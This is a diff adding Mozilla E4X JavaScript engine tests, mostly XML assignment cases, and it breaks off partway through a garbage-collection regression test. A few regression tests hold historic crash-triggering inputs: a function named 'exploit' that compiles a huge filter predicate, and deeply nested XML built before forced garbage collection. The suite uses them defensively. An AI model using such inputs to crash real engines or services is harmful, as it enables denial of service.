+TEST(4, correct, order);
+
+// Replace the second child of the order element with a list of items
+
+order =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item>item one</item>
+ <item>item two</item>
+ <item>item three</item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+order.item[0] = <item>item one</item> +
+ <item>item two</item> +
+ <item>item three</item>;
+
+TEST(5, correct, order);
+
+// Replace the third child of the order with a text node
+order =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">A Text Node</item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+order.item[1] = "A Text Node";
+
+TEST(6, correct, order);
+
+// append a new item to the end of the order
+
+order =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>John</name>
+ <address>948 Ranier Ave.</address>
+ <city>Portland</city>
+ <state>OR</state>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+ <item id="3">
+ <description>CD Player</description>
+ <price>199.99</price>
+ </item>
+ <item id="4">
+ <description>8-Track Player</description>
+ <price>69.99</price>
+ </item>
+ <item>new item</item>
+</order>;
+
+order.*[order.*.length()] = <item>new item</item>;
+
+TEST(7, correct, order);
+
+// Change the price of the item
+item =
+<item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+</item>
+
+correct =
+<item>
+ <description>Big Screen Television</description>
+ <price>99.95</price>
+</item>
+
+item.price = 99.95;
+
+TEST(8, item, correct);
+
+// Change the description of the item
+item =
+<item>
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+</item>
+
+correct =
+<item>
+ <description>Mobile Phone</description>
+ <price>1299.99</price>
+</item>
+
+item.description = "Mobile Phone";
+
+TEST(9, item, correct);
+
+END();
diff --git a/e4x/Expressions/11.6.2.js b/e4x/Expressions/11.6.2.js
new file mode 100644
index 0000000..8504f46
--- /dev/null
+++ b/e4x/Expressions/11.6.2.js
@@ -0,0 +1,326 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.6.2.js';
+
+START("11.6.2 - XMLList Assignment");
+
+// Set the name of the only customer in the order to Fred Jones
+order =
+<order>
+ <customer>
+ <name>John Smith</name>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>Fred Jones</name>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+</order>;
+
+order.customer.name = "Fred Jones";
+TEST(1, correct, order);
+
+// Replace all the hobbies for the only customer in the order
+order =
+<order>
+ <customer>
+ <name>John Smith</name>
+ <hobby>Biking</hobby>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>John Smith</name>
+ <hobby>shopping</hobby>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+</order>;
+
+order.customer.hobby = "shopping"
+TEST(2, correct, order);
+
+// Attempt to set the sale date of the item. Throw an exception if more than 1 item exists.
+order =
+<order>
+ <customer>
+ <name>John Smith</name>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <saledate>01-05-2002</saledate>
+ </item>
+</order>;
+
+correct =
+<order>
+ <customer>
+ <name>John Smith</name>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ <saledate>05-07-2002</saledate>
+ </item>
+</order>;
+
+order.item.saledate = "05-07-2002"
+TEST(3, correct, order);
+
+order =
+<order>
+ <customer>
+ <name>John Smith</name>
+ <hobby>Biking</hobby>
+ </customer>
+ <item id="1">
+ <description>Big Screen Television</description>
+ <price>1299.99</price>
+ </item>
+ <item id="2">
+ <description>DVD Player</description>
+ <price>399.99</price>
+ </item>
+</order>;
+
+try {
+ order.item.saledate = "05-07-2002";
+ SHOULD_THROW(4);
+} catch (ex) {
+ TEST(4, "TypeError", ex.name);
+}
+
+// Replace all the employee's hobbies with their new favorite pastime
+emps =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ <hobby>skiing</hobby>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ <hobby>running</hobby>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ <hobby>Biking</hobby>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ <hobby>skiing</hobby>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ <hobby>running</hobby>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ <hobby>working</hobby>
+ </employee>
+</employees>;
+
+emps.employee.(@id == 3).hobby = "working";
+TEST(5, correct, emps);
+
+// Replace the first employee with George
+emps =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id = "4">
+ <name>George</name>
+ <age>27</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+</employees>;
+
+emps.employee[0] = <employee id="4"><name>George</name><age>27</age></employee>;
+TEST(6, emps, correct);
+
+// Add a new employee to the end of the employee list
+emps =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+ <employee id="4">
+ <name>Frank</name>
+ <age>39</age>
+ </employee>
+</employees>;
+
+emps.employee += <employee id="4"><name>Frank</name><age>39</age></employee>;
+TEST(7, correct, emps);
+
+// Add a new employee to the end of the employee list
+emps =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id = "1">
+ <name>John</name>
+ <age>20</age>
+ </employee>
+ <employee id = "2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id = "3">
+ <name>Ted</name>
+ <age>35</age>
+ </employee>
+ <employee id="4">
+ <name>Frank</name>
+ <age>39</age>
+ </employee>
+</employees>;
+
+emps.employee[emps.employee.length()] = <employee id="4"><name>Frank</name><age>39</age></employee>;
+TEST(7, correct, emps);
+
+END();
diff --git a/e4x/Expressions/11.6.3.js b/e4x/Expressions/11.6.3.js
new file mode 100644
index 0000000..554d265
--- /dev/null
+++ b/e4x/Expressions/11.6.3.js
@@ -0,0 +1,119 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ *
+ * ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is Rhino code, released
+ * May 6, 1999.
+ *
+ * The Initial Developer of the Original Code is
+ * Netscape Communications Corporation.
+ * Portions created by the Initial Developer are Copyright (C) 1997-2000
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Igor Bukanov
+ * Ethan Hugg
+ * Milen Nankov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = '11.6.3.js';
+
+START("11.6.3 - Compound Assignment");
+
+// Insert employee 3 and 4 after the first employee
+e =
+<employees>
+ <employee id="1">
+ <name>Joe</name>
+ <age>20</age>
+ </employee>
+ <employee id="2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id="1">
+ <name>Joe</name>
+ <age>20</age>
+ </employee>
+ <employee id="3">
+ <name>Fred</name>
+ </employee>
+ <employee id="4">
+ <name>Carol</name>
+ </employee>
+ <employee id="2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+</employees>;
+
+e.employee[0] += <employee id="3"><name>Fred</name></employee> +
+ <employee id="4"><name>Carol</name></employee>;
+
+TEST(1, correct, e);
+
+// Append employees 3 and 4 to the end of the employee list
+e =
+<employees>
+ <employee id="1">
+ <name>Joe</name>
+ <age>20</age>
+ </employee>
+ <employee id="2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+</employees>;
+
+correct =
+<employees>
+ <employee id="1">
+ <name>Joe</name>
+ <age>20</age>
+ </employee>
+ <employee id="2">
+ <name>Sue</name>
+ <age>30</age>
+ </employee>
+ <employee id="3">
+ <name>Fred</name>
+ </employee>
+ <employee id="4">
+ <name>Carol</name>
+ </employee>
+</employees>;
+
+e.employee[1] += <employee id="3"><name>Fred</name></employee> +
+ <employee id="4"><name>Carol</name></employee>;
+TEST(2, correct, e);
+
+
+END();
\ No newline at end of file
diff --git a/e4x/Expressions/browser.js b/e4x/Expressions/browser.js
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/e4x/Expressions/browser.js
diff --git a/e4x/Expressions/regress-301545.js b/e4x/Expressions/regress-301545.js
new file mode 100755
index 0000000..e7fa80d
--- /dev/null
+++ b/e4x/Expressions/regress-301545.js
@@ -0,0 +1,55 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Axel Hecht
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-301545.js';
+
+var summary = "11.1.1 - Attribute Identifiers Do not crash when " +
+ "attribute-op name collides with local var";
+var BUGNUMBER = 301545;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function TOCParser(aElement) {
+ var href = aElement.@href;
+}
+
+TEST(summary, expect, actual);
+
+END();
diff --git a/e4x/Expressions/regress-302531.js b/e4x/Expressions/regress-302531.js
new file mode 100755
index 0000000..7b21c60
--- /dev/null
+++ b/e4x/Expressions/regress-302531.js
@@ -0,0 +1,63 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Blake Kaplan
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-302531.js';
+
+var summary = "E4X QuoteString should deal with empty string";
+var BUGNUMBER = 302531;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function f(e) {
+ return <e {e}="" />;
+}
+
+XML.ignoreWhitespace = true;
+XML.prettyPrinting = true;
+
+expect = (
+ <e foo="" />
+ ).toXMLString().replace(/</g, '<');
+
+actual = f('foo').toXMLString().replace(/</g, '<');
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/regress-340024.js b/e4x/Expressions/regress-340024.js
new file mode 100755
index 0000000..d688361
--- /dev/null
+++ b/e4x/Expressions/regress-340024.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): jhs@lysator.liu.se
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-340024.js';
+
+var BUGNUMBER = 340024;
+var summary = '11.1.4 - XML Initializer';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = '<tag b="c" d="e"/>';
+try
+{
+ actual = (<tag {0?"a":"b"}="c" d="e"/>.toXMLString());
+}
+catch(E)
+{
+ actual = E + '';
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/regress-366123.js b/e4x/Expressions/regress-366123.js
new file mode 100755
index 0000000..0072788
--- /dev/null
+++ b/e4x/Expressions/regress-366123.js
@@ -0,0 +1,67 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): shutdown
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-366123.js';
+
+var BUGNUMBER = 366123;
+var summary = 'Compiling long XML filtering predicate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function exploit() {
+ var code = "foo = <x/>.(", obj = {};
+ for(var i = 0; i < 0x10000; i++) {
+ code += "0, ";
+ }
+ code += "0);";
+ Function(code);
+}
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/regress-496113.js b/e4x/Expressions/regress-496113.js
new file mode 100644
index 0000000..0729ee1
--- /dev/null
+++ b/e4x/Expressions/regress-496113.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2008
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): developer.mozilla.org
+ * Masakazu Takahashi
+ * Wesley Garland
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+// See https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Processing_XML_with_E4X#section_7
+
+gTestfile = 'regress-496113.js';
+
+var summary = 'simple filter';
+var BUGNUMBER = 496113;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var people = <people>
+ <person>
+ <name>Joe</name>
+ </person>
+</people>;
+
+expect = <person><name>Joe</name></person>.toXMLString();
+
+print(actual = people.person.(name == "Joe").toXMLString());
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Expressions/shell.js b/e4x/Expressions/shell.js
new file mode 100644
index 0000000..8f5d112
--- /dev/null
+++ b/e4x/Expressions/shell.js
@@ -0,0 +1 @@
+gTestsubsuite = 'Expressions';
diff --git a/e4x/GC/browser.js b/e4x/GC/browser.js
new file mode 100755
index 0000000..e69de29
--- /dev/null
+++ b/e4x/GC/browser.js
diff --git a/e4x/GC/regress-280844-1.js b/e4x/GC/regress-280844-1.js
new file mode 100755
index 0000000..1ade541
--- /dev/null
+++ b/e4x/GC/regress-280844-1.js
@@ -0,0 +1,59 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov <igor@mir2.org>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-280844-1.js';
+
+var summary = 'Uncontrolled recursion in js_MarkXML during GC';
+var BUGNUMBER = 280844;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var N = 5 * 1000;
+var x = <x/>;
+for (var i = 1; i <= N; ++i) {
+ x.appendChild(<x/>);
+ x = x.x[0];
+}
+printStatus(x.toXMLString());
+gc();
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/GC/regress-280844-2.js b/e4x/GC/regress-280844-2.js
new file mode 100755
index 0000000..877161a
--- /dev/null
+++ b/e4x/GC/regress-280844-2.js
@@ -0,0 +1,71 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov <igor@mir2.org>
+ * Bob Clary <bob@bclary.com>
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-280844-2.js';
+
+var summary = 'Uncontrolled recursion in js_MarkXML during GC';
+var BUGNUMBER = 280844;
